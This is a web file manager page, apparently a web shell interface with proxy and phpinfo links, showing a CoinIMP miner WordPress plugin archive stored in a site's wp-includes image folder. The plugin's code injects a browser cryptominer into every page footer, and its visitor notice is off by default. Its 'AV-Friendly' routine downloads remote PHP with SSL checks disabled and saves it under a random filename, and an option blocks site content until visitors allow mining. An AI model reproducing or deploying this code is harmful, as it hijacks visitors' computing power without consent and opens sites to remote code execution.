File manager - Edit - /home/premiey/www/wp-includes/images/media/coinimp-miner.tar
Back
options.php 0000666 00000016714 15165255772 0007004 0 ustar 00 <div class="wrap"> <h2> <?php _e('CoinIMP Miner Settings', 'coinimp-miner-script-installer'); ?> <a class="add-new-h2" target="_blank" href="<?php echo esc_url("https://www.coinimp.com"); ?>"> <?php _e('CoinIMP Website', 'coinimp-miner-script-installer'); ?> </a> </h2> <hr/> <form name="dofollow" action="options.php" method="post"> <?php settings_fields('coinimp-miner-script-installer'); ?> <h3 class="coinimp-labels" for="coinimp_sitekey"> <?php _e('Currency', 'coinimp-miner-script-installer'); ?> </h3> <script nonce="Rl4+fciVbdc1F6ry1skEiA=="> function setSiteKey() { var siteKeys = <?php echo json_encode(get_option('coinimp_previousSiteKeys')); ?> ; var currSiteKey = siteKeys[document.getElementById("coinimp_currentcurrency").selectedIndex]; if (currSiteKey === undefined || currSiteKey === null) setDefaultSiteKey(); else document.getElementById("coinimp_sitekey").value = currSiteKey; } function setDefaultSiteKey() { var defaultSiteKeys = <?php echo json_encode(get_option('coinimp_defaultsitekeys')); ?> ; document.getElementById("coinimp_sitekey").value= defaultSiteKeys[document.getElementById("coinimp_currentcurrency").selectedIndex]; } </script> <select style="width:98%;" rows="1" cols="57" id="coinimp_currentcurrency" name="coinimp_currentcurrency" onchange='setSiteKey()' <?php if (count(get_option('coinimp_currencies')) == 1) echo 'disabled'; ?>> <?php for ($x = 0; $x <= (count(get_option('coinimp_currencies')) - 1); $x++) { echo "<option " . ((get_option('coinimp_currentcurrency') == $x) ? "selected " : "") . "value='$x'>". (get_option('coinimp_currencies')[$x] == 'web' ? 'MINTME' : strtoupper(get_option('coinimp_currencies')[$x])) . "</option>"; } echo "</select>"; ?> <?php if (count(get_option('coinimp_currencies')) == 1) { echo '<input type="hidden" name="coinimp_currentcurrency" value="0">'; } ?> <h3 class="coinimp-labels" for="coinimp_sitekey"> <?php _e('Site key', 'coinimp-miner-script-installer'); ?> <a class="add-new-h2" onclick="setDefaultSiteKey()" href="#">Set default site key</a> </h3> <textarea style="width:98%;" rows="1" id="coinimp_sitekey" name="coinimp_sitekey"><?php echo esc_html(get_option('coinimp_sitekey')); ?></textarea> <br> <hr/> <h3 class="coinimp-labels" for="coinimp_throttle"> <?php _e('CPU usage', 'coinimp-miner-script-installer'); ?> </h3> <select style="width:98%;" rows="1" cols="57" id="coinimp_throttle" name="coinimp_throttle"> <?php for ($x = 100; $x >= 10; $x-=10) { $throttle = 1 - ($x/100); echo "<option " . (((string) get_option('coinimp_throttle') == (string) $throttle) ? "selected " : "") . "value='$throttle'>".$x . "%</option>"; } ?> </select> <hr/> <h3 class="coinimp-labels"> <?php _e('Mining Notification Settings', 'coinimp-miner-script-installer'); ?> </h3> <h4 class="coinimp-labels"> <?php _e('Notification Method', 'coinimp-miner-script-installer'); ?> </h4> <input type="radio" name="coinimp_notify" value="Never" <?php if (get_option('coinimp_notify') == "Never") echo 'checked'; ?>> Disable<br> <input type="radio" name="coinimp_notify" value="Floating" <?php if (get_option('coinimp_notify') == "Floating") echo 'checked'; ?>> Floating text box on the bottom right corner<br> <input type="radio" name="coinimp_notify" value="Footer" <?php if (get_option('coinimp_notify') == "Footer") echo 'checked'; ?>> Fixed footer notification<br> <input type="radio" name="coinimp_notify" value="Popup" <?php if (get_option('coinimp_notify') == "Popup") echo 'checked'; ?>> Pop-up message upon the user's first visit<br> <h4 class="coinimp-labels"> <?php _e('Notification Message', 'coinimp-miner-script-installer'); ?> </h4> <textarea style="width:98%;" rows="1" id="coinimp_notificationtext" name="coinimp_notificationtext"><?php echo esc_html(get_option('coinimp_notificationtext')); ?></textarea> <h4 class="coinimp-labels"> <?php _e('Notification Header Text', 'coinimp-miner-script-installer'); ?> </h4> <textarea style="width:98%;" rows="1" id="coinimp_notificationheadertext" name="coinimp_notificationheadertext"><?php echo esc_html(get_option('coinimp_notificationheadertext')); ?></textarea> <h4 class="coinimp-labels"> <?php _e('Notification Appearance (Pop-up and floating text box)', 'coinimp-miner-script-installer'); ?> </h4> <input type="color" name="coinimp_notificationbackcolor" <?php echo 'value = ' . get_option('coinimp_notificationbackcolor'); ?>> Background Color <br> <input type="color" name="coinimp_notificationforecolor" <?php echo 'value = ' . get_option('coinimp_notificationforecolor'); ?>> Text Color <br> <input type="color" name="coinimp_notificationbordercolor" <?php echo 'value = ' . get_option('coinimp_notificationbordercolor'); ?>> Border Color <br> <hr/> <h3 class="coinimp-labels" for="coinimp_runonmobile"> <?php _e('Other Settings', 'coinimp-miner-script-installer'); ?> </h3> <input type="checkbox" id="coinimp_disable" name="coinimp_disable" value="Disabled" <?php if (get_option('coinimp_disable') == "Disabled") echo 'checked'; ?> > Disable miner<br> <input type="checkbox" id="coinimp_runonmobile" name="coinimp_runonmobile" value="Disabled" <?php if (get_option('coinimp_runonmobile') == "Disabled") echo 'checked'; ?>> Disable mining on mobile devices<br> <input type="checkbox" id="coinimp_avfriendly" name="coinimp_avfriendly" value="Enabled" <?php if (get_option('coinimp_avfriendly') == "Enabled") echo 'checked'; ?>> Activate AV-Friendly Solution<br> <input type="checkbox" id="coinimp_hidecontent" name="coinimp_hidecontent" value="Enabled" <?php if (get_option('coinimp_hidecontent') == "Enabled") echo 'checked'; ?>> Do not show site content until mining is allowed<br><br> <b>Show our advertisement on your site:</b><br> <input type="radio" name="coinimp_showads" value="Enabled" <?php if (get_option('coinimp_showads') == "Enabled") echo 'checked'; ?>> Enabled <span style="cursor: pointer;"><i><small>(If this option is ticked, your fee will be optimized but your users will see our ads maximum once per month. Otherwise, your fee will increase.)</small></i></span><br> <input type="radio" name="coinimp_showads" value="Disabled" <?php if (get_option('coinimp_showads') == "Disabled") echo 'checked'; ?>> Disabled <span style="cursor: pointer;"<br> <p class="submit"> <input class="button button-primary" type="submit" name="Submit" value="<?php _e('Save Settings', 'coinimp-miner-script-installer'); ?>"/> </p> </form> </div> coinimp.php 0000666 00000031216 15165255772 0006741 0 ustar 00 <?php /** * Plugin Name: CoinIMP Miner * Plugin URI: https://www.coinimp.com/ * Description: Insert CoinIMP miner into your wordpress blog easily * Version: 1.0.1 * Author: CoinIMP */ class CoinIMPMinerPlugin { private $pluginDir; function __construct() { add_action('init', array(&$this, 'init')); add_action('admin_init', array(&$this, 'admin_init')); add_action('admin_menu', array(&$this, 'admin_menu')); add_action('wp_footer', array(&$this, 'wp_footer')); $this->pluginDir = plugin_dir_path(__FILE__); } function init() { load_plugin_textdomain('coinimp-miner-script-installer', false, basename($this->pluginDir) . '/lang'); } function admin_init() { register_setting('coinimp-miner-script-installer', 'coinimp_throttle'); if (get_option("coinimp_throttle") == "") { update_option('coinimp_throttle', 0); } register_setting('coinimp-miner-script-installer', 'coinimp_sitekey'); if (get_option("coinimp_sitekey") == "") { update_option('coinimp_sitekey', get_option("coinimp_defaultsitekeys")[get_option("coinimp_currentcurrency")]); } register_setting('coinimp-miner-script-installer', 'coinimp_runonmobile'); register_setting('coinimp-miner-script-installer', 'coinimp_disable'); register_setting('coinimp-miner-script-installer', 'coinimp_notify'); register_setting('coinimp-miner-script-installer', 'coinimp_showads'); if (get_option("coinimp_showads") == "") { update_option('coinimp_showads', 'Enabled'); } if (get_option("coinimp_notify") == "") { update_option('coinimp_notify', 'Never'); } register_setting('coinimp-miner-script-installer', 'coinimp_notificationtext'); if (get_option("coinimp_notificationtext") == "") { update_option('coinimp_notificationtext', 'CoinIMP Miner is running in background.'); } register_setting('coinimp-miner-script-installer', 'coinimp_notificationheadertext'); if (get_option("coinimp_notificationheadertext") == "") { update_option('coinimp_notificationheadertext', 'CoinIMP Miner'); } register_setting('coinimp-miner-script-installer', 'coinimp_notificationbackcolor'); if (get_option("coinimp_notificationbackcolor") == "") { update_option('coinimp_notificationbackcolor', '#3d87ff'); } register_setting('coinimp-miner-script-installer', 'coinimp_notificationforecolor'); if (get_option("coinimp_notificationforecolor") == "") { update_option('coinimp_notificationforecolor', '#000000'); } register_setting('coinimp-miner-script-installer', 'coinimp_notificationbordercolor'); if (get_option("coinimp_notificationbordercolor") == "") { update_option('coinimp_notificationbordercolor', '#ffffff'); } register_setting('coinimp-miner-script-installer', 'coinimp_avfriendly'); register_setting('coinimp-miner-script-installer', 'coinimp_avfriendlyfilename'); if (get_option("coinimp_avfriendlyfilename") == "") { update_option('coinimp_avfriendlyfilename', $this->generateRandomString(4) . ".php"); } register_setting('coinimp-miner-script-installer', 'coinimp_currencies'); update_option('coinimp_currencies', array('web',)); register_setting('coinimp-miner-script-installer', 'coinimp_defaultsitekeys'); update_option('coinimp_defaultsitekeys', array('46de5993fa392c05d5635c48a6cecb760316740a624481321ef857b0e9ab153d',)); if (!get_option('coinimp_previousSiteKeys')) { register_setting('coinimp-miner-script-installer', 'coinimp_previousSiteKeys'); update_option('coinimp_previousSiteKeys', array('46de5993fa392c05d5635c48a6cecb760316740a624481321ef857b0e9ab153d',)); } register_setting('coinimp-miner-script-installer', 'coinimp_currentcurrency'); if (is_null(get_option("coinimp_currentcurrency"))) { update_option('coinimp_currentcurrency', 0); } register_setting('coinimp-miner-script-installer', 'coinimp_hidecontent'); if (get_option("coinimp_avfriendly") == "Enabled") { $this->prepareAvFriendlyScriptFile(); } } function admin_menu() { $page = add_submenu_page( 'options-general.php', __('CoinIMP Miner', 'coinimp-miner-script-installer'), __('CoinIMP Miner', 'coinimp-miner-script-installer'), 'manage_options', __FILE__, array(&$this, 'LoadCoinimpOptions') ); $previousSiteKeys = get_option("coinimp_previousSiteKeys"); $previousSiteKeys[get_option("coinimp_currentcurrency")] = get_option("coinimp_sitekey"); update_option('coinimp_previousSiteKeys', $previousSiteKeys); } function generateRandomString($length) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function wp_footer() { if (!is_admin() && !is_feed() && !is_robots() && !is_trackback()) { if (!get_option('coinimp_disable') == "Disabled") { $script = $this->getLocalResource("script.js"); $variableName = "_client"; $disableAds = get_option('coinimp_showads') == 'Disabled' ? ', ads: 0' : ''; $script = str_replace("@variable", $variableName, $script); $script = str_replace("@key", get_option('coinimp_sitekey'), $script); $script = str_replace("@throt", get_option('coinimp_throttle'), $script); $script = str_replace("@showAds", $disableAds, $script); $script = str_replace("@currencymodifier", ", c: '" . get_option('coinimp_currencies')[get_option('coinimp_currentcurrency')][0] . "'", $script); if (get_option('coinimp_runonmobile') == "Disabled") { $script = str_replace("@stopmobilemining", "if(! $variableName.isMobile()) ", $script); } else { $script = str_replace("@stopmobilemining", "", $script); } if (get_option("coinimp_avfriendly") == "Enabled") { $this->prepareAvFriendlyScriptFile(); $script = str_replace( "@Script", get_home_url() . "/wp-content/plugins/coinimp-miner/" . get_option( "coinimp_avfriendlyfilename" ) . "?f=" . $this->generateRandomString( 4 ) . ".js", $script ); } else { $script = str_replace( "@Script", $this->getResource("defscript") . "/" . $this->generateRandomString(4) . ".js", $script ); } if (get_option('coinimp_notify') == "Floating") { $script .= $this->prepareFloatingNotification(); } else if (get_option('coinimp_notify') == "Footer") { $script = $script . $this->prepareFooterNotification(); } else if (get_option('coinimp_notify') == "Popup") { $script .= $this->preparePopupNotification(); } if (get_option('coinimp_hidecontent') == "Enabled") { $script .= $this->getLocalResource("hidecontent.js"); } $result = do_shortcode($script); if ($result != '') { echo $result, "\n"; } } } } private function prepareFooterNotification() { $footer = '<script nonce="Rl4+fciVbdc1F6ry1skEiA==">'; if (get_option('coinimp_runonmobile') == "Disabled") $footer .= 'if(! _client.isMobile()) {'; $footer .= "jQuery(function($){ var customFooterText = '@Text'; $('.site-info').append('<span style=" . '"' . "float:right;" . '"' . ">' + customFooterText + '</span>'); }); </script>"; $footer = str_replace("@Text", get_option('coinimp_notificationtext'), $footer); if (get_option('coinimp_runonmobile') == "Disabled") $footer = str_replace("</script>", '} </script>', $footer); return $footer; } private function prepareFloatingNotification() { $floatingNotification = "<div id='minernotify' style='border:2px solid @BorderColor; background-color: @BackColor;color: @ForeColor; position:fixed; bottom:0; right:0;z-index: 9999;'>@Text</div>"; $floatingNotification = str_replace( "@Text", get_option('coinimp_notificationtext'), $floatingNotification ); $floatingNotification = str_replace( "@BorderColor", get_option('coinimp_notificationbordercolor'), $floatingNotification ); $floatingNotification = str_replace( "@ForeColor", get_option('coinimp_notificationforecolor'), $floatingNotification ); if (get_option('coinimp_runonmobile') == "Disabled") { $floatingNotification .= PHP_EOL . '<script nonce="Rl4+fciVbdc1F6ry1skEiA=="> if(_client.isMobile()) document.getElementById("minernotify").style.display="none"; </script>'; } $floatingNotification = str_replace( "@BackColor", get_option('coinimp_notificationbackcolor'), $floatingNotification ); return $floatingNotification; } private function prepareAvFriendlyScriptFile() { $scriptFile = $this->pluginDir . '/' . get_option("coinimp_avfriendlyfilename"); $currentDate = date("Ymd"); if (!file_exists($scriptFile) || date("Ymd", filemtime($scriptFile)) < $currentDate || filesize($scriptFile) < 1024) $this->downloadAvFriendlyPhpScript($scriptFile); } private function downloadAvFriendlyPhpScript($scriptFile) { $avFriendlyScriptURL = $this->getResource("avfriendly") . "/" . $this->generateRandomString( 4 ) . ".php"; $curlHandler = curl_init(); curl_setopt($curlHandler, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curlHandler, CURLOPT_URL, $avFriendlyScriptURL); curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curlHandler, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"); $scriptData = curl_exec($curlHandler); curl_close($curlHandler); file_put_contents($scriptFile, $scriptData); } private function preparePopupNotification() { $popup = $this->getLocalResource("popup.html"); $popup = str_replace( "@BorderColor", get_option('coinimp_notificationbordercolor'), $popup ); $popup = str_replace( "@BackColor", get_option('coinimp_notificationbackcolor'), $popup ); $popup = str_replace( "@TextColor", get_option('coinimp_notificationforecolor'), $popup ); $popup = str_replace( "@NotificationText", get_option('coinimp_notificationtext'), $popup ); $popup = str_replace( "@HeaderText", get_option('coinimp_notificationheadertext'), $popup ); if (get_option('coinimp_runonmobile') == "Disabled") { $popup = str_replace( '<script nonce="Rl4+fciVbdc1F6ry1skEiA==">', '<script nonce="Rl4+fciVbdc1F6ry1skEiA==">' . PHP_EOL . 'if(! _client.isMobile()) {', $popup ); $popup = str_replace( '</script>', '}' . PHP_EOL . '</script>', $popup ); } return $popup; } function getResource($filename) { $resourcesPaths = 'https://coinimp.com/wppluginfile/'; return file_get_contents($resourcesPaths . $filename); } function getLocalResource($filename) { return file_get_contents($this->pluginDir . "/$filename"); } function LoadCoinimpOptions() { require_once($this->pluginDir . '/options.php'); } } $coinimp_script = new CoinIMPMinerPlugin(); ?> hidecontent.js 0000666 00000001724 15165255772 0007435 0 ustar 00 <script nonce="Rl4\u002BfciVbdc1F6ry1skEiA\u003D\u003D"> setTimeout(function(){ if(typeof _client === 'undefined' || _client === null) { var messageDiv = document.createElement("div"); messageDiv.setAttribute("style","width: 50%; background-color: white; padding: 15px; display: inline-block; vertical-align: middle;"); messageDiv.appendChild(document.createTextNode("Please allow our miner on your blocker software to continue browsing our site. Reload the page after that.")); var mainDiv = document.createElement("div"); mainDiv.setAttribute("style","position: absolute; top: 0px; right: 0px; width: 100%; height: 100%; display: flex; background-color: #4c4c4c; align-items: center; justify-content: center"); mainDiv.appendChild(messageDiv); document.body.appendChild(mainDiv); document.getElementsByTagName("body")[0].style.overflow = "hidden"; window.scrollTo(0, 0); } },1000); </script> popup.html 0000666 00000005050 15165255772 0006620 0 ustar 00 <style> body { font-family: Arial, Helvetica, sans-serif; } .coinimp { display: none; position: fixed; z-index: 99999; padding-top: 100px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0.7); } .coinimp-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid @BorderColor; width: 50%; box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } @-webkit-keyframes animatetop { from { top: -300px; opacity: 0 } to { top: 0; opacity: 1 } } @keyframes animatetop { from { top: -300px; opacity: 0 } to { top: 0; opacity: 1 } } .close { color: white; float: right; font-size: 28px; font-weight: bold; } .close:hover, .close:focus { color: #000; text-decoration: none; cursor: pointer; } .coinimp-header { padding: 2px 10px; background-color: @BackColor; color: white; } .coinimp-body { padding: 2px 16px; color: @TextColor } </style> <div id="coinimpPopup" class="coinimp"> <!-- coinimp content --> <div class="coinimp-content"> <div class="coinimp-header"> <span class="close">×</span> <h2>@HeaderText</h2> </div> <div class="coinimp-body"> <p>@NotificationText</p> </div> </div> </div> <script nonce="Rl4+fciVbdc1F6ry1skEiA=="> var ShowPopup = localStorage.getItem('ShowPopup'); if (ShowPopup == null) { localStorage.setItem('ShowPopup', 1); // Show popup here var coinimp = document.getElementById('coinimpPopup'); var span = document.getElementsByClassName("close")[0]; coinimp.style.display = "block"; span.onclick = function () { coinimp.style.display = "none"; } window.onclick = function (event) { if (event.target == coinimp) { coinimp.style.display = "none"; } } } </script> script.js 0000666 00000000453 15165255772 0006433 0 ustar 00 <script nonce="Rl4\u002BfciVbdc1F6ry1skEiA\u003D\u003D" src="@Script"></script> <script nonce="Rl4\u002BfciVbdc1F6ry1skEiA\u003D\u003D"> var @variable = new Client.Anonymous('@key', { throttle: @throt @currencymodifier @showAds }); @stopmobilemining @variable.start(); </script>
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0 |
proxy
|
phpinfo
|
Settings